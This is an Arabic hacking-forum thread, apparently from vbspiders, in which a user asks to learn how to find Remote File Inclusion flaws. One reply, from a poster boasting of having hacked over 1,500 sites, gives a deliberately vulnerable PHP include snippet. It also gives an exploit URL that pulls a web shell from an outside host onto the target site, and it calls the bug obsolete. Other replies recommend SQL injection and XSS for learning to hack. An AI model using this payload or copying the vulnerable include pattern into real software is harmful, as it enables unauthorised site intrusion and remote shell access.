[استفسار] أريد تعلم اكتشاف تغرة Remote File include

[MadaRaXP]

السلام عليكم ،،
على خطى ان من لا يتعلم هو المتكبر و المستحي ،،
اريد ان اتعلم يعني كيفية فحص السكريبتات و استخراج التغرة
و البداية مع Remote file include
ان شاء الله من هنا اتعلم و يتعلم كل من لم يستطع ان يتشجع و يسأل ،،
فلا تبخلوا عليــنا

[bleu moon]

http://www.vbspiders.com/vb/t22376.html

[MadaRaXP]

لا لا لا ،،
لقد شاهدت الدورة لكن انا اريد ان يرافقني احد في استفساري ،،،
يكون احسـن !!!

[MadaRaXP]

رفع للأعــلى ،،

[ZrIqE ViRuS]

شوف يا غالي تدور ع دوار الراس تطلب شرح هالثغره

بتعرف صدقني بجوز اخترقت اكثر من 1500 موقع
ولا واحد منهم بهاي الثغره .........!!!

هذا والله ورسوله شاهد على ما اقول

هذه الثغره فيك تسميها ثغره فقط في حال تغير تاريخ السنه وصار 2006

انا مش قصدي احبطك بس الان هاي الثغره صارت من الماضي ليش لانه كل السيرفرات مرقعه منها

فيك فقط تطبقها ع السيرفر الشخصي بتحمله بتخلي اصدار php تاع السيرفر الشخصي 4
وبتزرعها بهاد الكود البسيط داخل ملف php

<?php
include($volcano);
?>

والاستغلال للثغره اعلاه
filename.php?volcano=http://vbspiders.com/shell.txt?

وهون راح انت تسحب شل ع الموقع وتتمتع بالاختراق
لكن حقيقه ما عادت هاي الثغره تعمل نهائيا

فلا تتعب نفسك بها ولو بدك تتعلم هكر
بلش من دوره sql injection

موفق

[bleu moon]

ايوه التغره قديمه كثير حاول تتعلم sql + XSS hhhh

[MadaRaXP]

ZrIqE ViRuS

شكــرا لك على الشرح ،، لا يهم ان توقفت او لم تعد تشتغل ،،
فقط تعلمها كافي ،،